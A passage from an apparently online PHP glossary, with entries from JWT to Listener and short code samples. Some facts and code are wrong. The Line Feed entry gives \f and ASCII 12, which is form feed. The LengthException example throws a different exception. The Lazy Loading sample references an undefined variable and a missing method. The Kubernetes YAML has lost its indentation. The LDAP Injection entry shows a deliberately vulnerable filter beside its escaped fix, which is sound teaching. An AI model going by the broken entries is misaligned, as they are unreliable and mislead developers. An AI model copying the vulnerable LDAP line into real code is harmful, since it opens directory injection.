issfor issuer,expfor expiration date,subfor subject - Signature: computed over header + payload using a secret or private key
Because the signature is verified on receipt, the payload can be trusted without a database lookup, making JWTs ideal for stateless, horizontally-scaled services. However, JWTs carry risks: they cannot be revoked before expiry without extra infrastructure, alg: none attacks disable signature verification, and storing them in localStorage exposes them to XSS.
JWTs are typically handled via libraries such as firebase/php-jwt or lcobucci/jwt.
<?php
use Firebase\JWT\JWT;
use Firebase\JWT\Key;
$secret = 'my-secret';
$payload = ['sub' => 42, 'exp' => time() + 3600];
$token = JWT::encode($payload, $secret, 'HS256');
$decoded = JWT::decode($token, new Key($secret, 'HS256'));
echo $decoded->sub; // 42
?>
See Also
Related
- Authentication
- Token
- Single Sign On (SSO)
- Session
- JavaScript Object Notation (JSON)
- Identity
- OAuth
- HMAC
Related packages
Key-value Stores
A key value store is a database which stores data like a hash. The server stores values as a collection, and each object is identified with a unique key.
Classic key-value stores include memcache, redis, tokyo-tyrant.
See Also
Related
Keymap
A keymap, in the context of the GNU Readline library that backs PHP’s readline extension, is a table that associates key sequences, such as a single keystroke, a Ctrl combination, or an Escape-prefixed Meta sequence, with an editing command: move to the start of the line, delete the previous word, recall the next history entry, and so on. Readline ships with several built-in keymaps, the most common being emacs-standard (the default) and vi-command/vi-insert for Vi-style editing, plus emacs-meta and emacs-ctlx for Emacs prefix sequences.
The active keymap is normally chosen once, either with set editing-mode emacs or set editing-mode vi in the Readline init file, conventionally ~/.inputrc or the file pointed at by the INPUTRC environment variable, and custom bindings can be added inside $if mode=vi / $endif conditional blocks that target a specific keymap.
PHP does not expose keymap manipulation as its own API: the readline extension is a thin wrapper around the system Readline (or libedit) library, and it simply inherits whichever keymap that library was configured with when the process starts. This has two practical consequences:
- Switching between Emacs-style and Vi-style editing for
readline()calls, and for the interactive shell started withphp -a, is done outside PHP, by editing the init file consulted by the underlying library. - On systems where the
readlineextension is compiled against libedit rather than true GNU Readline, most notably the default PHP builds on macOS, several functions tied to Readline’s full history and keymap-reload machinery, such asreadline_read_init_file(), are unavailable, because libedit only emulates a subset of the GNU Readline API.
Keymaps only affect interactive line editing; they have no bearing on the PHP language itself.
See Also
Related
Keyword
PHP has a list of keywords, which are also called reserved names. Those are names used with some functions or operators.
Keywords are not allowed in function, constant, class, interface, enum and trait names. They are allowed in method, properties, variables and class constant names.
While legit, it is usually recommended to avoid using PHP keywords as identifiers, so as to prevent confusion.
<?php
class Elephpant {
function array() {
return array();
}
}
print_r((new elephpant)->array());
class Herd {
const array ARRAY = array(); // possible confusion here
}
?>
See Also
Related
KISS
KISS stands for Keep It Simple, Stupid. It is a design principle that emphasizes the importance of simplicity in system design, development, and problem-solving. The idea is to avoid unnecessary complexity, which can lead to confusion, errors, and inefficiency.
See Also
Related
Kubernetes
Kubernetes, nicknamed k8s, is an open-source container orchestration platform that automates the deployment, scaling, networking, and lifecycle management of containerised applications. Originally developed by Google, it is now maintained by the CNCF.
The core abstractions in Kubernetes are: Pod, the smallest deployable unit, one or more containers sharing a network namespace, Deployment, declarative specification of desired pod replicas, Service, stable network endpoint for a set of pods, Ingress, HTTP routing from outside the cluster, ConfigMap and Secret, configuration injection, and HorizontalPodAutoscaler, automatic scaling based on CPU/memory or custom metrics.
PHP applications are deployed on Kubernetes as Docker containers, typically using PHP-FPM with nginx or Caddy as the HTTP front-end, or as FrankenPHP/Swoole workers. The Kubernetes service layer provides built-in service discovery via DNS. Kubernetes is the most common runtime for PHP microservices at scale.
k8s is the numeronym for Kubernetes: 8 letters between K and s.
# deployment.yaml — PHP-FPM application on Kubernetes
apiVersion: apps/v1
kind: Deployment
metadata:
name: order-service
spec:
replicas: 3
selector:
matchLabels:
app: order-service
template:
metadata:
labels:
app: order-service
spec:
containers:
- name: php-fpm
image: myregistry/order-service:latest
ports:
- containerPort: 9000
env:
- name: DATABASE_URL
valueFrom:
secretKeyRef:
name: db-secret
key: url
- name: nginx
image: nginx:alpine
ports:
- containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
name: order-service
spec:
selector:
app: order-service
ports:
- port: 80
See Also
Related
Goto Labels
Labels are the receiving end of a goto call. They must be in the same context than the goto they relate to: there, they must be unique. There might be several goto for a single label.
<?php
goto migrate;
echo 'Forage';
migrate:
echo 'Trumpet';
?>
See Also
Related
Linux Apache Mysql PHP (LAMP)
LAMP is a popular open-source software stack used to build and deploy web applications. The acronym stands for:
- Linux: the operating system.
- Apache: the web server.
- MySQL: the database management system, or alternatives like MariaDB.
- PHP: the programming language used for server-side scripting.
Related
Language Construct
PHP has a notion of language construct, which are special keywords, with an attached feature.
Language constructs are: echo, require, require_once, include, include_once, return, die, exit, unset, isset, print, empty.
Language constructs usually do not require parenthesis, and they are mostly known for that. The parenthesis is not necessary, but possible. It makes the language construct look like a function call.
Also, language construct do not behave like a function, so they can’t be used by their name, as a callback.
There have some special behavior: echo accepts an arbitrary number of argument, while print only accepts one. die and exit work without arguments, but, in the event that an argument is provided, it must be enclosed in parenthesis.
<?php
echo 'a', 'b', 'c';
die;
?>
See Also
Related
Language Server Protocol (LSP)
A Language Server Protocol, an LSP server, is a program that provides language-intelligence features to any code editor and IDE that speaks the LSP standard.
Language features may be autocomplete, go-to-definition, documentation, and diagnostics.
LSP actually stands for the protocol, but it is often used for the LSP server itself. LSP may be provided by the IDE, or stand alone as an autonomous server.
See Also
Related
Laravel
Laravel is a popular PHP framework used for building web applications. It follows the Model-View-Controller, or MVC, architectural pattern and provides a clean, elegant syntax designed to make development faster and more efficient.
See Also
Related
Late Static Binding
PHP implements a feature called late static bindings, or simply late binding, which can be used to reference the called class in a context of static inheritance.
Before PHP 5.3, the self keyword always referred to the class where it was written, regardless of which child class actually made the call. This made it impossible for a static method inherited by a subclass to refer to that subclass reliably: calling a parent’s static method that used new self(), for example, always instantiated the parent class, even when invoked through a child. Late static binding solves this by introducing the static:: keyword, which resolves at call time, hence “late”, to the class that was actually used to make the call, rather than the class where the method was defined.
The mechanism keeps track of the “called class” as execution moves through the call stack: a static call, an instance method call, or a parent:: / self:: forwarding call all propagate that information, unless it is reset by an explicit ClassName:: call, which starts a new binding scope. The special function get_called_class() returns the same class name that static::class would resolve to.
Late static binding is heavily used to implement patterns such as the Active Record pattern, fluent factory methods, or the Singleton pattern, where a base class needs to instantiate or refer to whichever subclass is actually being used, without hardcoding that subclass’s name.
<?php
class Elephpant {
public static function who() {
echo __CLASS__;
}
public static function announce() {
static::who(); // Here comes Late Static Bindings
}
}
class AfricanElephpant extends Elephpant {
public static function who() {
echo __CLASS__;
}
}
AfricanElephpant::announce();
?>
See Also
- Late static binding in PHP - What, How & When
- A real life example of using Late Static Binding in PHP
- Example of using Late Static Binding in PHP
Related
- Self
- static
- parent
- Early Binding
- Child Class
- Compile Time
- Execution Time
- Method Resolution Order (MRO)
Latency
Latency is the delay between a request being made and the response being received. It is typically measured in milliseconds and is a key indicator of perceived application responsiveness.
Sources of latency include network round-trip time, database query time, I/O wait, and processing overhead. Reducing latency involves techniques such as caching, connection pooling, query optimization, and co-locating services.
See Also
- How to Cut PHP API Latency by 60% An Architecture Breakdown That Actually Works
- Guide to Optimizing PHP for High Traffic Sites
Related
- Quality of Service (QoS)
- Performance
- Benchmarking
- Cache
- Database
- Network
- Real Time
- Micro-optimisation
- Content Delivery Network (CDN)
- Cold Start
- Edge Computing
- Throughput
Latin1
Latin1, also called ISO/IEC 8859-1 and iso-8859-1, is a character encoding.
In simple terms Latin-1 lets computers represent common Western European characters like letters A–Z and a–z, numbers 0–9, punctuation, and special characters like é, ñ, ö, ç, £, €.
Latin1 uses 1 byte per character. It can represent 256 characters. It is designed for Western European languages like English, French, Spanish, German and Dutch. These language are not totally covered by the Latin1: usually, it requires the usage of UTF-8.
PHP used Latin1 as the default character set for publishing text on the web. It has now replaced it with UTF-8.
See Also
Related
Layered Architecture
Layered architecture, also called multi-tier architecture, n-tier architecture, or three-tier architecture in its classic three-layer form, organises a codebase into horizontal layers, each with a specific responsibility, where each layer only depends on the layer directly below it. The classic four layers are: presentation, business logic, data access, and infrastructure.
The Presentation layer handles user interaction and HTTP concerns, with controllers, templates. The Business Logic layer contains domain rules and application workflows. The Data Access layer, such as repository or DAO, abstracts persistence. The Infrastructure layer wraps external systems, like email, queues, file storage.
Layered architecture is the implicit structure of most MVC frameworks: controllers belong to the presentation layer, services to the business logic layer, and repositories to the data access layer.
The main risk is layer bleeding: business logic leaking into controllers, aka fat controller, or SQL queries scattered through the business layer. The anemic domain model anti-pattern often accompanies layered architecture when domain logic is spread across service classes rather than entities.
<?php
// Presentation layer, controller
class OrderController {
public function __construct(private OrderService $service) {}
public function create(Request $request): Response {
$order = $this->service->placeOrder($request->validated());
return new JsonResponse($order->toArray(), 201);
}
}
// Business logic layer, service
class OrderService {
public function __construct(private OrderRepository $orders) {}
public function placeOrder(array $data): Order {
$order = Order::new($data);
$order->validate();
return $this->orders->save($order);
}
}
// Data access layer, repository
class OrderRepository {
public function save(Order $order): Order {
$this->pdo->prepare('INSERT INTO orders ...');
return $order;
}
}
?>
See Also
Related
- Hexagonal Architecture
- Clean Architecture
- Model - View - Controller (MVC)
- Separation Of Concerns
- Business Logic
- Anemic Domain Model
- Fat Controller
Lazy Class Constant
A lazy class constant is a class constant whose value expression is not evaluated when the class is declared, but only the first time the constant is actually read.
PHP resolves simple scalar constants, plain strings and numbers, at compile time, folding them into the class definition directly. Constants whose value depends on another class, an enum case, or a more complex expression cannot always be resolved that early, because the referenced class may not exist yet, so PHP defers the computation to the moment the constant is accessed.
This deferred resolution has a visible consequence: a class can declare a constant with an invalid expression, and the class still loads without error. The error only surfaces when the invalid constant is actually read, which can happen much later, or never, if that particular constant is never used.
<?php
class Config {
// References Feature::ENABLED, resolved lazily: Feature is declared below.
const MODE = Feature::ENABLED ? 'full' : 'basic';
}
class Feature {
const ENABLED = true;
}
// Config::MODE is only resolved here, not when Config was declared.
echo Config::MODE; // 'full'
?>
Related
Lazy Evaluation
Lazy evaluation is an evaluation strategy in which an expression’s value is not computed until it is actually needed, and, once computed, is often cached so it is never recomputed. Haskell evaluates every expression this way by default: a list can be infinite, because only the elements actually consumed are ever produced.
This is stronger than lazy iteration: it applies to any expression, including function arguments and let-bindings, not only to sequences produced one step at a time.
PHP is strictly, eagerly evaluated everywhere except in a few specific opt-in constructs. Generator functions built with yield produce values lazily, one at a time, on demand, and short-circuiting operators such as &&, ||, and ?? skip evaluating their right-hand side when the outcome is already known. Outside of these, every argument, every array element, and every expression is fully evaluated as soon as control reaches it; there is no general, opt-out mechanism to defer an arbitrary computation until its result is read.
<?php
// Lazy, but only because it is explicitly written as a generator.
function naturals(): Generator {
$n = 1;
while (true) {
yield $n++;
}
}
foreach (naturals() as $n) {
if ($n > 5) break;
echo $n, ' ';
}
?>
See Also
Related
Lazy Loading
Lazy loading is a programming pattern that postpones the actual loading of a resource to the moment it is actually used.
This prevents the application from loading resources that may not be used later: it improves efficiency.
Lazy loading happens with data and source code. Some entities may be loaded only when they are actually needed, to avoid loading too much data from the repositories, while they are not used.
PHP also uses lazy loading: some structures are checked at linting time, when they are available. Otherwise, their validation is deferred to execution. For example, method signature compatibility with parents, or class constant values.
<?php
class File {
private $path;
private $content = null;
function __construct($path) {
$this->path = $path;
}
function get() {
if ($this->content === null) {
$this->content = file_get_contents($path);
}
return $this->content;
}
}
$file = new File($path);
// some more code
echo $file->getContent();
class ErroneousConstant {
const VALID = 1;
// invalid value for the INVALID constant
const INVALID = [] + 1;
}
// displays 1
echo ErroneousConstant::VALID;
// This produces a Fatal error, even though it could be detected before.
echo ErroneousConstant::INVALID;
?>
See Also
- Revisiting Lazy-Loading Proxies in PHP
- Lazy loading design pattern in PHP
- Lazy Loading Data Objects in PHP 8.4 with Doctrine ORM Example
Related
Related packages
Lazy Objects
Lazy objects are an application of lazy-loading, directly available in the PHP engine, and available as an engine feature since PHP 8.4.
The traditional way to create an object is to use new. The object is immediately created, and then, accessed later if needed.
Lazy objects defer the actual instantiation of the object until it is actually accessed. Nothing happens until the object is used. In the case of large applications, where lots of services or assets are created systematically, lazy objects postpone initialization, and may even skip it entirely if it is not needed.
Lazy objects are good for objects that take a lot of resources to initialize, or when there are lots of such objects, with a good proportion of them not being used, in the end.
<?php
// taken from the RFC (https://wiki.php.net/rfc/lazy-objects)
class Elephpant
{
public function __construct(private int $trunkLength)
{
// Heavy initialization logic here.
}
// ...
}
$initializer = static function (Elephpant $ghost): void {
$ghost->__construct(123);
};
$reflector = new ReflectionClass(Elephpant::class);
$object = $reflector->newLazyGhost($initializer);
// At this point, $object is a lazy ghost object.
?>
See Also
- Lazy objects in PHP 8.4
- Using PHP 8.4’s Lazy Objects
- PHP Object Lazy-Loading is More Than What You Think
Related
LDAP Injection
LDAP injection is a security vulnerability that occurs when untrusted user input is incorporated into an LDAP query without proper sanitisation or escaping. An attacker can manipulate the LDAP filter or distinguished name, or DN, to bypass authentication, escalate privileges, or extract sensitive directory information.
LDAP filters use special characters such as *, (, ), \, and NUL. Injecting these characters can alter the logic of a filter. For example, inserting * as a username may cause a wildcard match that returns all users.
Mitigation strategies include:
- Escaping special characters with
ldap_escape(), available since PHP 5.6 - Using allowlists to validate input before use in a query
- Applying the principle of least privilege on the LDAP service account.
<?php
$username = $_POST['username'] ?? '';
// Vulnerable: attacker can inject LDAP metacharacters
$filter = '(uid=' . $username . ')';
// Safe: use ldap_escape() with LDAP_ESCAPE_FILTER
$safe = ldap_escape($username, '', LDAP_ESCAPE_FILTER);
$filter = '(uid=' . $safe . ')';
$result = ldap_search($conn, 'ou=People,dc=example,dc=com', $filter);
?>
See Also
Related
- Lightweight Directory Access Protocol (LDAP)
- Injection
- SQL Injection
- Escape Data
- Taint Analysis
- Static Application Security Testing (SAST)
- Security
Lightweight Directory Access Protocol (LDAP)
LDAP, acronym of Lightweight Directory Access Protocol, is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol, IP network.
<?php
// LDAP server details
$ldapServer = "ldap://your-ldap-server.com"; // or "ldaps://" for SSL
$ldapPort = 389; // 636 for LDAPS
$ldapDn = "cn=admin,dc=example,dc=com"; // Admin DN (Distinguished Name)
$ldapPassword = "your-password";
// Connect to the LDAP server
$ldapConn = ldap_connect($ldapServer, $ldapPort);
if (!$ldapConn) {
die("Could not connect to LDAP server.");
}
// Set LDAP options (e.g., for protocol version)
ldap_set_option($ldapConn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ldapConn, LDAP_OPT_REFERRALS, 0);
// Bind (authenticate) to the LDAP server
$ldapBind = @ldap_bind($ldapConn, $ldapDn, $ldapPassword);
if (!$ldapBind) {
die("LDAP bind failed: " . ldap_error($ldapConn));
}
// Search for a user
$searchBase = "ou=People,dc=example,dc=com";
$searchFilter = "(cn=Damien Seguy)";
$attributes = ["cn", "mail", "uid"]; // Attributes to retrieve
$searchResult = ldap_search($ldapConn, $searchBase, $searchFilter, $attributes);
if (!$searchResult) {
die("LDAP search failed: " . ldap_error($ldapConn));
}
// Get the first entry
$entry = ldap_first_entry($ldapConn, $searchResult);
if (!$entry) {
die("No entries found.");
}
// Retrieve attributes
$attrs = ldap_get_attributes($ldapConn, $entry);
echo "<pre>";
print_r($attrs);
echo "</pre>";
// Close the connection
ldap_unbind($ldapConn);
?>
See Also
Related
Leading Numeric String
A leading numeric string is a subset of numeric strings, where the first characters are numbers, or the occasional + or -, and the rest of the string is non-digits.
Leading numeric strings are used during conversion of strings into a number, although they are not used with the implicit integer conversion for arrays.
Leading numeric strings emit a warning when they drop the final characters.
<?php
echo '123bc' + 1;
// Warning: A non-numeric value encountered
// 124
print_r(['123bc' =>1]);
/*
Array
(
[123bc] => 1
)
*/
?>
See Also
Related
Leading Zero Means Octal
PHP integer syntax has some special formats for binary, octal and hexadecimal formats. In particular, an integer starting with 0 is in octal format. This leads to easy confusion, as the leading 0 is considered neutral.
A new notation with an 0 was introduced in version 8.0: it makes the octal format just as explicit as the binary or the hexadecimal one.
Octal numbers are mainly used with the mkdir() function, and special math domains.
<?php
echo 017; // displays 15
echo 0o17; // displays 15
echo 17; // displays 17
echo 0x17; // displays 23 (hexadecimal format)
?>
See Also
Related
Leak
A leak generally refers to a situation where resources are not properly released after they should have been. This can lead to degraded performance, crashes, or security issues.
Different types of leaks:
- Memory leaks: memory is not freed, voluntarily or not, and reach
memory_limit. - Resource leaks: resources such as file handles are not freed, voluntarily or not.
- Data Leaks: sensitive data are made available, in an indirect way, and may even reach attackers.
See Also
- A Journey to find a memory leak
- Preventing Memory Leaks in PHP: Best Practices for Efficient Memory Management
Related
Least Privilege Principle
The principle of least privilege states that every user, process, service, or component should be granted only the minimum rights it needs to perform its task, and nothing more, for the minimum time needed.
Privileges are granted by default as narrowly as possible, and extended only when a concrete need is demonstrated. A web application that only reads from a table should connect to the database with a user that has SELECT rights, not with the administrator account. A script that only writes logs should not run as root. An API token issued for one service should not be able to reach the resources of another.
The principle limits the damage of a mistake or an attack: when a credential is leaked, a bug is exploited, or a dependency misbehaves, the reachable surface is small. This is the reason it is closely related to the blast radius of a failure. Least privilege is not the same as access control: access control decides who may do what, least privilege decides how much each actor is allowed to do in the first place.
<?php
// Too much privilege: the application connects as the database owner
$pdo = new PDO('mysql:host=db;dbname=shop', 'root', $password);
// Least privilege: a dedicated user, limited to the operations it needs
// GRANT SELECT, INSERT ON shop.orders TO 'shop_app'@'%';
$pdo = new PDO('mysql:host=db;dbname=shop', 'shop_app', $password);
?>
See Also
Related
- Blast Radius
- Broken Access Control
- Role Based Access Control (RBAC)
- Access Control List (ACL)
- Authorize
- Permission
- Typosquatting
- Supply Chain Attack
- Multi-Factor Authentication (MFA)
Legacy
Legacy code refers to existing code written under older practices, PHP versions, or conventions that are no longer considered current. It typically predates modern PHP features such as namespaces, type declarations, object-oriented design, or PSR standards.
Common PHP legacy patterns include procedural scripts, the use of mysql_* functions, which was removed in version 7.0, the var keyword for properties, global variables, register_globals, the absence of autoloading, and short open tags.
Maintaining and evolving legacy code requires careful refactoring to avoid regressions, since test coverage is often absent or incomplete. Static analysis tools can help identify outdated constructs.
<?php
// Legacy PHP 4/5 style
global $db;
var $property;
mysql_connect('localhost', 'root', '');
?>
See Also
Related
- Var
- Deprecated
- Backward Compatible
- Backward Incompatible
- Refactoring
- Dead Code
- Technical Debt
- Upgrade
- Global Variables
- Register Globals
- Maintenance
- Total Cost Of Ownership (TCO)
Linux Nginx Mysql PHP (LEMP)
LEMP is a popular open-source software stack used to build and deploy web applications. The acronym stands for:
- Linux: the operating system
- Nginx: the application server
- MySQL: the database management system, or alternatives like MariaDB
- PHP: the programming language used for server-side scripting
It is very similar to LAMP.
Related
LengthException
The LengthException exception is thrown if a length is invalid.
LengthException is one of the exception classes provided by the Standard PHP Library, called SPL, available since PHP 5.1. It extends LogicException, which itself extends the base Exception class, placing it in the family of exceptions that represent errors in the program’s logic, as opposed to runtime conditions that could not have been foreseen. Its intended use is to signal that a given length, whether of a string, an array, or any other measurable collection, does not meet the constraints expected by the code, for example a fixed-size buffer receiving too much data, or an argument that must contain a minimum number of characters.
Despite being part of the SPL, LengthException is not thrown by any native PHP function or class: PHP’s own standard library and internal functions instead raise ValueError or TypeError for equivalent situations since PHP 8. LengthException is therefore mostly a userland convention, adopted by libraries and frameworks that follow the SPL exception hierarchy to give callers a precise, catchable exception type when validating lengths themselves, rather than relying only on a generic Exception or InvalidArgumentException.
Because it is a subclass of LogicException, catching LogicException also catches LengthException, which lets calling code choose the granularity of the catch block depending on whether it needs to react specifically to length problems, or to logic errors in general.
<?php
function trumpet(string $sound) {
if (empty($sound)) {
throw new \UnexpectedValueException('trumpet() expects a non-empty string');
}
}
?>
See Also
Related
Letter Logical Bug
PHP offers two sets of operators for logical operations: the letter operators, and, or, xor, and the symbol operators, &&, ||, no xor in symbol.
While they do the same, those operators have a difference: they do not share the same precedence. In particular, && has higher priority than = while = has higher priority than and. This leads to a difference in execution.
When combining = and &&, the logical operation happens before the assignation. While combining = and and actually ignore the logical operation.
The same problem affect yield, yield from, print, all assignations, including the short assignations, the ternary operator and the null-coalesce.
It is recommended to always use the symbol logical operators, which is closer to human expectations.
<?php
$a = 1 && 3;
$b = 1 and 3;
// equivalent to
($b = 1) and 3;
var_dump($a); // true
var_dump($b); // 1
?>
See Also
Related
Lexical Analysis
Lexical analysis, also called tokenisation, tokenization, or scanning, is the first phase of a compiler or static analyser. It reads a stream of source characters and groups them into meaningful units called tokens.
Each token carries a type, keyword, identifier, operator, literal, comment, whitespace, and the text it was matched from. The lexer discards whitespace and comments, or classifies them as separate token types when they are relevant.
PHP provides token_get_all() to tokenise a PHP source string into the same tokens the PHP engine itself produces, using the constants defined in the T_* family, like T_ECHO, T_VARIABLE, T_STRING, etc. This is useful for static analysis tools, code formatters, and documentation generators.
Lexical analysis operates on the surface form of the code and has no notion of program structure or meaning. Those concerns belong to parsing and semantic analysis.
<?php
$source = '<?php echo $greeting . "world"; ?>';
$tokens = token_get_all($source);
foreach ($tokens as $token) {
if (is_array($token)) {
[$id, $text, $line] = $token;
echo token_name($id) . ': ' . var_export($text, true) . PHP_EOL;
} else {
echo 'SYMBOL: ' . var_export($token, true) . PHP_EOL;
}
}
?>
See Also
Related
- Lexical Variable
- Analysis
- Abstract Syntactic Tree (AST)
- Token
- Parse
- Semantic Analysis
- Control Flow Analysis
- Data Flow Analysis (DFA)
- Symbolic Analysis
- Pattern-Based Analysis
Lexical Variable
A lexical variable is the type of variable that appears in the use part of a closure definition. They are both variables of the current scope, which defines the closure, and parameters of the scope of the closure.
<?php
$c = 1;
function ($a, $b) use ($c) {
// doSomething();
}
?>
See Also
Related
Library Loading
PHP has a modular structure, which allows it to load extensions. The extensions may be part of PHP at compilation time, and always available: this is the case for core, or string.
On the other hand, some extensions are loaded dynamically, with the dl() function. This is done during execution. It usually has an impact on performance, and security, and was restricted to be used only in command line, not on web servers.
<?php
if (!extension_loaded('sqlite3')) {
dl('sqlite3.so');
}
?>
See Also
Related
Library
A library is a collection of reusable code, functions, classes, or constants, that provides specific functionality and can be included in different applications.
Libraries are included, and then executed: yet, they do not have an entry point of their own. The calling application controls when and how the library’s code is invoked. This distinguishes a library from a framework, which imposes a structure and calls the application’s code instead.
Libraries cover a wide range of concerns: string manipulation, date handling, HTTP clients, cryptography, image processing, data parsing, and more. Using a well-maintained library avoids reinventing the wheel and benefits from the work and review of the wider community.
Libraries are distributed through a package manager. The most common is Composer and libraries are indexed on Packagist. A library is declared as a dependency in composer.json and loaded via the Composer autoloader. Choosing a library involves evaluating its activity, test coverage, license, and compatibility with the target PHP version.
Writing a library requires extra discipline compared to application code: the public API must be stable, backward compatibility must be maintained across versions, and the library should have no opinion about the application’s framework or infrastructure.
See Also
Related
- Composer
- Packagist
- Framework
- Dependency
- Class Autoloading
- Open Source
- Vendor Lock-in
- Application Programming Interface (API)
- Dynamic Loading
- Foreign Function Interface (FFI)
- Software Development Kit (SDK)
libsodium
Sodium is a modern, easy-to-use software library for encryption, decryption, signatures, password hashing and more.
The library is integrated into PHP as an extension. It provides a lot of functions and features to the language.
<?php
//Generate a random key for sodium_crypto_auth
$key = sodium_crypto_auth_keygen();
?>
See Also
Related
Licence
The licence refers to legal terms under which a source code is distributed and can be used.
PHP has its own licence, which is Open Source.
PHP source code may have a different licence. Common licences are MIT licence, Apache License 2.0, BSD License, GPL, LGPL, Copyleft Licenses.
See Also
Related
Lifecycle
The lifecycle of an application spans from initial development to decommissioning, covering stages like specifications, prototyping, coding, testing, deployment, maintenance, and eventual retirement.
Understanding the lifecycle helps teams build, deploy, and manage applications efficiently while ensuring reliability, security, and scalability.
The lifecycle is different depending on the team building it, and factors like community effort, personal interest or company mission.
As such, PHP itself has a lifecycle, with the regular release of a new version every year.
Lifecycle also refers to the execution cycle or request lifecycle, from starting the PHP engine, executing the code and terminating.
See Also
- Learning the PHP lifecycle
- PHP Community Support Lifecycle Changes: What Do They Mean for Your Team?
Related
- Software Development Life Cycle (SDLC)
- Execution
- Bootstrap
- Code Freeze
- Total Cost Of Ownership (TCO)
Last In, First Out (LIFO)
Last In, First Out is the principle of management of a stack. The most recently added element is the first one to be removed. This is exactly how a stack behaves: it is also the way a backpack behaves.
The other management is FIFO: first in, first out.
See Also
Related
Line Feed
A line feed is a whitespace character, that historically represents moving the cursor to the next line, without going back to the beginning of the line.
A line feed is represented by the escape sequence \f, in double quote strings. It is also the ASCII code 12.
Line feed are important when formatting code, as they are at the end of a line.
<?php
echo "\f";
echo chr(12); // ASCII code 12
?>
See Also
Related
Linear Type
Linear types and affine types, together sometimes called ownership types, are type disciplines that constrain how many times a value may be used.
A linear type requires that a value is used exactly once: it must be consumed, neither discarded nor duplicated. This mirrors the mathematical concept of linear logic where a resource is a one-time token.
An affine type relaxes the constraint to at most once: a value may be consumed or silently dropped, but not used twice. Rust’s ownership system is built on affine types: moving a value transfers ownership, and the original binding becomes invalid.
The primary motivation is resource safety. A file handle typed as linear or affine cannot be closed twice, cannot be forgotten open, and cannot be shared without explicit transfer. The compiler enforces correct resource lifecycle without runtime bookkeeping.
Related to this is the concept of uniqueness types, Clean language, and borrowing, which temporarily grants read-only access without transferring ownership.
PHP has no linear or affine types. Values are reference-counted and can be freely copied, aliased, or ignored. Resource handles, like file handles, database connections, can be opened, re-used, or left unclosed without any static-analysis enforcement. The closest approximations are:
- Destructor-based cleanup,
__destruct, which runs when the last reference is dropped, but does not prevent double-use. - Value objects that track consumed state with a boolean flag at runtime.
- Static analysis rules that heuristically warn about unclosed resources.
See Also
Related
Link
A link, or hyperlink, connects two resources, allowing navigation or reference from one to the other.
In web development, links are expressed as HTML <a> anchor elements and <link> elements. PHP generates both when rendering HTML.
In the filesystem, a link is a reference to a file or directory. PHP provides link() for hard links and symlink() for symbolic links. Both are used for deployment strategies, shared asset management, and plugin architectures.
In data structures, a linked list uses node-to-node references to chain elements. PHP does not have a native linked list, but SplDoublyLinkedList provides one.
In REST APIs, links in responses describe available actions and related resources as URLs.
<?php
// Filesystem symlink
symlink('/var/www/releases/v2.0', '/var/www/current');
// HTML link generation
$url = htmlspecialchars('https://www.php.net/', ENT_QUOTES, 'UTF-8');
echo "<a href=\"$url\">PHP Manual</a>";
// HTML <link> element for stylesheet
echo '<link rel="stylesheet" href="style.css">';
?>
See Also
Related
- Anchor
- Universal Resource Locator (URL)
- Universal Resource Identifier (URI)
- HyperText Markup Language (HTML)
- Cross Site Scripting (XSS)
- File System
Lint, Won’t Execute
Lint, won't execute is a special state of the code, where the source can be parsed, but cannot be executed.
This covers a range of problems, from very obvious to hidden syntaxes. They depend on the moment where PHP applies its checks.
Some situations depend on the inclusion, autoloading and, generally, the order of execution of the code.
<?php
function trumpet() {
clone 1; // obviously fails when executed
}
function forage(int $a = A) {}
const A = 'abc';
// fails when called without arguments
trumpet(1); // OK
trumpet(); // KO
?>
See Also
Related
Linting
Linting is the process to turn the text file that holds the source code into tokens. During this first phase, PHP applies some checks, and report anything that makes no sense.
After linting, the code is processed further before reaching the status of opcode, where it can be executed.
Linting is an option of the PHP CLI: -l.
Linting is sometimes mistaken with compile: linting is a part of a compilation. Since PHP has only this one step between the code and its execution, with eval() or the PHP CLI, linting is often considered as compiling. Reality is more complex.
See Also
- PHP linting for PHP version compatibility
- PHP 8.3: PHP CLI Lint (php -l) supports linting multiple files at once
Related
- Compile
- Analysis
- Bug
- Enumeration Case
- Tool
- PHP Editor
- Git Hook
- PHPStan
- Rector
- Static Code Analysis (SCA)
- Tokenizer
- Class Hoisting
- Execution Time
- Order Of Execution
- Phptoken
Related packages
Liskov Substitution Principle (LSP)
The Liskov Substitution Principle states that an object from a class and a sub-object, from a class that extends that object, must be interchangeable without breaking the program.
See Also
Related
List Comprehension
A list comprehension is an expression-level syntax for building a new collection by describing it declaratively: a source, a transformation, and an optional filter, all in a single readable expression, as in Python’s [x * 2 for x in items if x > 0] or Haskell’s [x * 2 | x <- items, x > 0]. It is meant to read like the set-builder notation it is named after.
Because it is a single expression rather than a sequence of statements, a list comprehension can be nested, assigned, or passed as an argument directly, and many languages let the compiler fuse the filtering and mapping steps into a single pass.
PHP has no list comprehension syntax. The same result requires either an explicit loop that pushes onto an accumulator array, or a chain of array_map() and array_filter() calls, both of which are statements or nested function calls rather than a single declarative expression, and array_filter() followed by array_map() walks the array twice unless carefully reordered.
<?php
// PHP equivalent of [x * 2 for x in items if x > 0]
$doubled = array_map(
fn ($x) => $x * 2,
array_filter($items, fn ($x) => $x > 0)
);
?>
See Also
Related
List
list() breaks an array into individual elements, and assign them to the arguments of the list. list() acts as the contrary to array().
list() also has a short array version, which is [ ] the square brackets. Those square brackets only appear on the left side of an assignation.
list() may omit extracted values by skipping their value, and leaving seemingly empty arguments. list() also supports double-arrow notation, where the key is provided.
list() may be nested. It may also be used with foreach() structures.
list() looks like a function, though it is the only one to appears on the left part of an assignation, and is actually a language-construct.
A list is also the name given to arrays where the index are the automatic ones.
list() is the only expression where successive commas may be used.
<?php
list($a, $b, $c) = [1,2,3];
[$a, , [$c]] = [1,2,[3],4];
[2 => $c, 0 => $a] = [1,2,3,4];
$rows = [[1,2], [3, 4]];
foreach($rows as [$a, $b]) {
print "$a + $b\n";
}
// Only values are important here
$list = range(10, 12);
// some keys are missing => not a list
$array = array(10, 4 => 12);
?>
See Also
Related
- Array, []
- Comma
- Double Arrow
- Square Brackets
- Tree
- foreach()
- Sequence
- Swap
- Assignation
- Multiple Return Values
- Structural Pattern Matching
- Tuple
- Destructuring
Listener
A listener, or event listener, also called a subscriber in pub/sub terminology, is a callable function that is registered to handle a specific event or message when it is dispatched. Listeners are a core concept in event-driven and pub/sub architectures.
